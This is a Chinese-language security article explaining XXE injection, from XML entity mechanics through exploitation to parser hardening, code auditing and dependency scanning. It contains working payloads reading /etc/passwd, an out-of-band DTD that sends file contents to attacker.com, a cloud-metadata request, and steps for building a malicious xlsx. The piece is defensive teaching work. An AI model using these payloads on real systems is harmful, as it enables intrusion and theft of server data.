ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

XXE注入原理与防护:从XML外部实体解析到安全配置实践

XXE注入原理与防护:从XML外部实体解析到安全配置实践 1. XML解析器的出厂配置问题XXE发生的根本原因要聊清XXE注入得先放下那些花哨的payload回去看XML语法本身。很多人觉得XXE是个冷门漏洞攻击条件苛刻实战中一年遇不上两次。但我在实际做代码审计和渗透测试时发现XXE的触发面比想象中大得多——凡是涉及XML解析的功能都可能是入口而问题根源往往就出在解析器那几个默认开启的配置项上。1.1 实体机制XML里的外部资源加载指令XML文档允许通过!DOCTYPE声明来定义实体Entity实体的作用类似于编程语言里的宏或常量。其中有一类叫外部实体它能把文档外的资源内容拉进当前文档。看这个最经典的例子?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] fooxxe;/foo这段XML声明了一个名为xxe的外部实体它的内容是file:///etc/passwd指向的本机文件内容。在文档主体里xxe;会被解析器替换成目标文件的实际内容。如果这个XML最终被拼接到响应里返回给用户那服务器上的敏感文件就被直接读出来了。整个过程不需要攻击者接触服务器文件系统只需要提交一个精心构造的XML文档即可。我的理解是XML实体本身是标准的一部分设计初衷是允许文档复用、引入外部DTD、加载共享内容。但问题在于当解析器处理外部实体时它是以当前进程的权限去发起文件读取或网络请求的。也就是说攻击者通过实体声明借用了应用进程的手去摸服务器本地的文件或者让服务器去请求攻击者控制的外部地址。这就是XXE注入最底层的逻辑。1.2 为什么解析器默认会去加载外部实体这是个好问题既然外部实体有安全风险为什么解析器不直接禁掉答案很现实XML标准在设计时并没有充分考虑输入来源不可信的对抗场景而且外部实体在很多合法的业务场景里确实有用。比如某些配置中心用XML做配置文件某些SOAP接口需要引入外部DTD做校验某些报表系统要合并多个XML片段。所以主流编程语言的XML解析库历史默认配置大多是允许加载外部实体允许处理DOCTYPE声明。我在审计Java项目时经常看到这样的代码DocumentBuilderFactory factory DocumentBuilderFactory.newInstance(); DocumentBuilder builder factory.newDocumentBuilder(); Document doc builder.parse(inputStream);够简单、够常见但问题也够明显DocumentBuilderFactory默认认可是支持DTD和外部实体的。在Java 8甚至更早的JDK版本里这种写法处理恶意外部实体时直接就能把file:///etc/passwd读进来。PHP的simplexml_load_string、Python的xml.etree.ElementTree在早期版本里也存在类似情况。我用一句大白话总结XXE不是某个语言、某个库独有的漏洞而是解析器对实体声明处理策略这个共性问题。只要开发没有显式关闭外部实体或者没有过滤!DOCTYPE、!ENTITY这些关键片段漏洞就在那等着。1.3 一个最小触发demo为了把原理讲透我写一个最小可用的Java复现。假设有一个接口接收POST请求的XML内容并解析import javax.xml.parsers.DocumentBuilderFactory; import org.w3c.dom.Document; public class XXEDemo { public static void parseXml(String xml) throws Exception { DocumentBuilderFactory factory DocumentBuilderFactory.newInstance(); DocumentBuilder builder factory.newDocumentBuilder(); Document doc builder.parse(new java.io.ByteArrayInputStream(xml.getBytes())); System.out.println(doc.getDocumentElement().getTextContent()); } public static void main(String[] args) throws Exception { String payload ?xml version\1.0\? !DOCTYPE foo [!ENTITY xxe SYSTEM \file:///etc/passwd\] fooxxe;/foo; parseXml(payload); } }运行之后控制台直接输出/etc/passwd的内容。注意这里有一个容易被忽略的细节getTextContent()会返回整个文档的文本内容而实体引用xxe;在解析阶段就已经被展开成文件内容了。所以攻击者要做的就是让解析结果进入某种可被观察的输出通道——响应体、日志、报错信息、甚至时间差异都行。理解了这一层后面所有触发方式和利用手法就都有推导依据了。2. 触发入口远比你想象得多文件上传、接口、Office文档与第三方库XXE的触发前提很简单应用对不可信输入执行了XML解析且解析配置不安全。那么问题来了哪些功能会在不知不觉中发起XML解析2.1 直接接收XML的接口最明显的一类入口是业务接口本身以XML作为数据交换格式。比如SOAP协议WebService接口请求体就是XML对接第三方系统时回调或推送的数据是XML移动端老版本客户端与服务端通信用XML格式配置导入/导出功能支持XML格式配置文件报表系统中的模板文件很多也是XML结构。这类入口的特点是肉眼可见测试人员很容易想到提交一个带外部实体的XML看看响应里有没有回显。但容易被忽略的是很多接口虽然名义上是接收JSON内部却有一段兼容逻辑当Content-Type被篡改成application/xml或text/xml时服务端会调用另一个解析器去解析XML。我在一次测试中就遇到过前端传JSON时一切正常把Content-Type改成application/xml并塞一个XML payload进去接口照样解析并返回了实体内容。这类隐藏的XML解析入口往往藏在框架的消息转换器配置里审计时一定要关注。2.2 Office文档解析链路第二类入口是Office文档处理功能这个面非常广。很多业务系统支持导入Excel、Word或PDF文件来做批量数据录入、报表生成、简历解析而Office 2007之后的.docx、.xlsx、.pptx格式本质上是一个ZIP压缩包里面全是XML文件。攻击者完全可以手动把一个正常的xlsx文件解压修改其中的XML内容加入外部实体定义再重新压缩成合法文件上传。服务端在解析这个文档时只要用了存在XXE配置的库就会被触发。以Excel为例一个xlsx文件解压后包含xl/workbook.xml、xl/worksheets/sheet1.xml等XML文件。攻击流程大概是新建一个正常的xlsx文件用unzip解压在xl/workbook.xml或某个sheetN.xml中插入外部实体声明重新打包成xlsx上传到业务系统。服务端解析时直接读取文件内容或获取单元格数据就可能把.xml里的实体引用解析出来进而读服务器本地文件或发起内网请求。微软的Office文档格式设计得再精巧也架不住解析库默认配置不安全。2.3 第三方依赖传递带来的隐性入口第三类是我觉得最难防的应用本身没有主动解析XML但引入的第三方库内部做了XML解析。典型的例子就是Apache POI——它常被用来解析Excel文档POI内部为了处理xlsx格式必然会读取ZIP包里的XML。如果在某个版本的POI里没有安全禁用外部实体那不管业务代码怎么写只要使用了POI解析用户上传的xlsx就相当于把XXE入口打开了一条缝。类似的库还有很多处理SVG图片的库SVG本身是XML、处理RSS/Atom订阅的库、导出PDF时生成XML中间格式的库、Android应用里解析布局或数据配置的库。这类问题排查起来最费劲因为根因在依赖内部业务代码却完全看不出来。我个人的方法是拿到第三方库清单后逐一确认它们是否涉及XML解析再查它们对应版本是否修复过XXE相关CVE。这一步虽然费时间但相比出事后的应急分析成本低太多了。3. 数据读取利用从有回显到无回显的完整链路触发点找到后接下来就是把漏洞转化为实际危害。XXE最常见的利用目标是读取服务器本地文件但实战中还要解决一个关键问题怎么把文件内容带回来。我把利用方式按回显情况分成三类原理和处理思路完全不一样。3.1 有回显利用file协议读本地文件最理想的情况是解析结果会直接出现在HTTP响应里。比如接口解析XML后把某个节点的文本内容填充到响应模板中返回。攻击者把实体引用放在响应会读取到的位置就能直接看到文件内容?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY file SYSTEM file:///etc/passwd ] rootfile;/root如果服务端把root节点内容回显到页面file;就会被替换为/etc/passwd文件内容。读取文件时协议的选择也有讲究。跨平台攻击时我常用这些Linux读取用户和配置文件file:///etc/passwdWindows读取系统信息file:///c:/windows/win.ini当目标文件是二进制或包含特殊字符导致回显失败时可以先试试看是否支持编码包装器。比如PHP环境可以这样读取并转成Base64php://filter/readconvert.base64-encode/resource/etc/passwd这种做法能把二进制内容转成纯文本输出避免编码问题导致的解析错误。不过需要注意php://filter只有在解析器目标语言是PHP时才有效Java环境里用的是不同的方式。如果目标文件路径里包含特殊字符或者希望遍历目录还可以尝试利用一些解析器对URL的宽松解析比如file:///etc/passwd%00之类的手法——不过这类技巧依赖具体解析器实现实战中不要抱太大期望我很少遇到真正成功的。3.2 无回显盲测OOB重定向与FTP回显现实一点的情况是接口解析了XML但不会把解析结果回显。这时候依然可以证明漏洞存在只是需要借助带外通道Out-of-Band简称OOB。我的标准做法是这样在攻击者的VPS上放一个恶意DTD文件然后让目标服务器加载它再由这个DTD去读取目标文件并主动把文件内容作为请求的一部分发到我的服务器上。先准备一个恶意DTD文件evil.dtd!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?data%file; %eval; %exfil;然后在XML请求体里引用这个外部DTD?xml version1.0 encodingUTF-8? !DOCTYPE root SYSTEM http://attacker.com/evil.dtd root/整个利用链路是这样的目标服务器解析XML时发现外部DTD声明请求http://attacker.com/evil.dtd服务器加载DTD在DTD内部定义了实体%file并指向/etc/passwd实体%eval定义了一个嵌套实体exfil它请求的URL中拼上了%file的内容当解析器尝试展开%exfil时会带着/etc/passwd内容去访问http://attacker.com/?data...。攻击者的服务器上只要用一条nc -lvnp 80监听HTTP请求就能看到目标文件内容出现在请求参数里。如果目标是Windows环境读取的文件内容含特殊字符可能导致请求构造失败通常优先读取C:\windows\win.ini这类简单文本验证。FTP回显是另一种思路很多Java XML解析器在处理外部实体时支持ftp://协议。攻击者在VPS上开一个FTP服务XML里直接声明!ENTITY xxe SYSTEM ftp://attacker.com:2121/passwd解析器发起FTP连接时会把路径作为FTP USER或PASS参数的一部分流量抓包或者FTP日志中就能看到相关内容。相比HTTP回显FTP回显的优点是构造更简单缺点是很多现代解析器默认屏蔽了不常见协议实战成功率低于HTTP OOB。3.3 外部实体读取的常见限制与绕过限制一很多解析器虽然允许外部实体但只允许HTTP/HTTPS协议不认file://。遇到这种情况读取本地文件的常规思路失效。但可以先让解析器加载攻击者控制的HTTP地址进行验证证明SSRF能力再尝试内网端口探测或云元数据访问。云环境里甚至可以尝试http://169.254.169.254/latest/meta-data/获取临时访问凭证这属于SSRF衍生利用不只是读文件这么简单了。限制二解析器不支持嵌套实体或参数实体。这种情况下OOB无法直接实现可以尝试在DTD里用错误消息回显内容。Java的某些解析器在实体解析失败时会把实体的URL拼进异常信息里返回。利用思路是把file:///协议嵌套进一个不存在的URL地址中让报错信息包含文件内容。这种技巧在不同库上的可用性差异极大我只在少数环境验证成功过。限制三文件内容中包含、、等XML特殊字符直接拼进实体引用会导致解析错误。一个办法是读取纯文本性质的配置文件/etc/hostname、.ssh/authorized_keys另一个办法是使用上面提到的编码包装器。如果都不行还可以验证读取状态来盲测比如让外部实体请求file:///etc/hosts和file:///nonexistent时行为差异明显通过响应时间或响应体差异来判断目标文件是否存在。实战中我建议先把目标环境探测清楚再决定用哪种利用链。盲目堆payload很容易验证不出结果反而浪费时间。4. Apache POI 4.1.0 XSSFExportToXml一个典型XXE漏洞复盘说完了通用原理我以一个真实场景复盘收尾——Apache POI版本在小等于4.1.0时XSSFExportToXml存在的XXE问题。这个案例很有代表性因为它不是开发者主动写XML解析导致的而是完全由第三方库内部实现引入的风险。很多团队踩坑后去查自己代码第一反应都是我们没写过XML解析逻辑啊。4.1 漏洞触发链路分析先说说POI是什么。Apache POI是Java生态里处理Microsoft Office文档最常用的库几乎所有涉及Excel导出、Word文档生成、PPT操作的系统都会引入它。其中XSSFExportToXml这个类的作用是把Excel工作表中的数据映射成自定义XML格式导出。这套机制需要解析用户侧传入的XML Map定义而这个XML解析过程存在外部实体加载问题。触发链路的逻辑大致如下用户上传一个精心构造的xlsx文件xlsx文件内部包含了XML Map属性指向一组恶意XML数据或直接在工作簿中带上恶意XML内容应用调用XSSFExportToXml.exportToXML()将数据导出为XMLPOI内部解析这份XML时攻击者预先埋入的外部实体被解析器展开文件内容被读取后写入导出的XML结果攻击者通过下载导出文件拿到数据。这个漏洞的利用前提是应用确实调用了XSSFExportToXml并且允许用户影响传入的XML内容或xlsx中的映射定义。有的团队以为我们只是导出了Excel实际上在导出过程中POI就可能解析了工作簿里嵌入的XML完全无感知。4.2 复现思路复现整个流程并不复杂我按步骤拆开第一步构造恶意xlsx。先用正常Excel文件作为基底解压后查看xl/workbook.xml和xl/map.xml。如果没有map.xml可以在Excel里手动定义XML映射后保存或者直接用压缩工具修改ZIP结构添加自定义XML。第二步在某个XML文件里插入外部实体声明?xml version1.0 encodingUTF-8? !DOCTYPE map [ !ENTITY xxe SYSTEM file:///etc/passwd ] mapxxe;/map第三步重新压缩成xlsx并上传到应用。如果应用自动导出XML且导出的结果里包含xxe;被实体解析出来的内容就说明漏洞存在。第四步扩展利用。如果导出结果不回显就换成OOB的DTD引用方式让POI解析时向攻击者服务器发起带外请求。这个过程中使用的工具可以是普通的zip工具加文本编辑器不需要任何特殊环境。4.3 修复方案与版本对比修复方式非常直接升级到Apache POI 4.1.1及以上版本。官方在该版本更新了依赖的XMLBeans组件默认关闭了外部实体的加载能力。同时建议做双保险在业务代码里如果确实需要自定义XML导出不要直接使用解析器的默认配置先禁用DOCTYPE声明再传给解析器对上传的b强制限制文件大小和内容类型凡是能识别出ZIP内部包含XML映射定义的文件都要做特殊检查。我对比过一批版本简单列个表供参考版本XSSFExportToXml XXE风险建议4.1.0及以下存在外部实体加载风险尽快升级4.1.1默认关闭外部实体可使用5.x版本持续修复XML相关安全问题推荐使用很多人觉得4.1.0和4.1.1只差一个补丁版本问题应该不大。但实际上这个漏洞影响范围并不小因为4.1.0在使用量上很大而XSSFExportToXml在报表导出类系统中又很常见。把版本升级纳入常规安全维护清单比出事后再排查要省心得多。5. 检测与防护落地安全解析配置、输入过滤与组件升级讲到这里是时候给出真正可以落地的防护方案了。安全工作的核心目标不是消灭所有漏洞——这很难做到而是把漏洞利用成本抬高到攻击者不愿意承受的级别。下面从配置、代码、检测三个层面来说。5.1 各语言解析器的安全配置先说最底层、最有效的办法把XML解析器配置成不接受DOCTYPE声明。只要DOCTYPE一被禁止外部实体就没有声明入口XXE自然也就没了。Java的DocumentBuilderFactory安全配置如下DocumentBuilderFactory factory DocumentBuilderFactory.newInstance(); factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); factory.setFeature(http://xml.org/sax/features/external-general-entities, false); factory.setFeature(http://xml.org/sax/features/external-parameter-entities, false); factory.setXIncludeAware(false); factory.setExpandEntityReferences(false);PHP这边的处理方式libxml_disable_entity_loader(true); $xml simplexml_load_string($input, SimpleXMLElement, LIBXML_NONET);从PHP 8.0开始libxml_disable_entity_loader已被弃用默认就不再加载外部实体。如果还在维护老项目建议显式调用且用LIBXML_NONET禁止网络访问。Python使用xml.etree.ElementTree时官方文档其实都建议用defusedxml替代。这个库的安全设计就是默认拒绝外部实体和DTDfrom defusedxml.ElementTree import fromstring tree fromstring(xml_data)Python标准库里如果实在不能用defusedxml至少也要在解析前做字符串检查拒绝包含!DOCTYPE或!ENTITY的输入。但字符串检查只是辅助手段不能作为唯一防线因为攻击者可能用编码或大小写混淆虽然现在很多库对大小写很严格但保不准有解析器不区分。如果是.NET环境使用XmlReader时要这样设置XmlReaderSettings settings new XmlReaderSettings(); settings.DtdProcessing DtdProcessing.Prohibit; XmlReader reader XmlReader.Create(inputStream, settings);DtdProcessing.Prohibit直接禁止DTD处理这是最保守也最安全的选择。老代码里如果用XmlDocument.Load()且没有额外设置XmlResolver null通常也是不安全的需要一并修改。5.2 代码审计的排查重点只讲配置不讲排查等于只给了药没告诉怎么找病。我在做代码审计时会重点关注这几类模式搜索XML解析相关的关键类和方法名比如Java里的DocumentBuilderFactory、SAXParserFactory、XMLReaderPHP里的simplexml_load_*、DOMDocumentPython里的xml.etree.ElementTree、lxml检查这些解析器的实例化位置是否使用了默认配置查找向上传文件、外部接口数据流向后端解析器的路径排查第三方依赖版本尤其关注POI、PDFBox、XStream这类库的CVE公告。审计时一个让我印象深刻的点是同一个XML解析器在这个方法里配置安全了不代表另一个方法里也安全。很多项目有公共的XML解析工具类但总有部分历史代码绕过工具类直接new了一个新的解析器实例。光靠抽查几个调用点是不够的最好把全局搜索到的所有解析器实例化位置全部过一遍。5.3 自动化检测的思路最后说自动化检测。市面上的Web漏洞扫描器基本都有XXE测试模块但它们的检测逻辑大多局限在提交带外部实体的XML看响应里是否包含已知文件特征这一层。面对无回显场景自动化工具的成功率并不高。我的检测思路分三个层次第一层直接请求检测。用Burp Suite或脚本向目标接口提交包含外部实体的XML并把实体值设置为一个协同带外平台的URL观察是否能收到来自目标服务器的DNS或HTTP请求。这个方案能覆盖大部分有回显或间接回显的场景。第二层静态代码扫描。用Semgrep这类工具写规则扫描XML解析器配置一旦发现没有禁用外部实体的代码直接标红。规则本身不复杂核心就是把解析器实例化和安全配置方法调用之间的距离作为判断依据。第三层依赖扫描。用OWASP Dependency-Check或类似工具扫描项目依赖把已知XXE漏洞的库版本比如Apache POI 4.1.0及以下、旧版XStream、旧版Digester等标记出来。这个方式最省人力也最容易提前发现风险。三层检测可以结合进CI/CD流水线每次构建都自动跑一遍。问题发现得越早修复成本越低。回到开头那个观点XXE注入本质上不是某个特定框架的漏洞而是XML解析生态在标准功能和安全默认值之间长期摇摆留下的产物。作为开发者和安全从业者我们没法改变标准本身但可以在每一层都堵住默认配置这条平路。升级组件、禁用DTD、收严输入校验这些动作单独看都不复杂组合在一起就能让XXE从高危害漏洞变成半天打不进来的硬骨头。
返回列表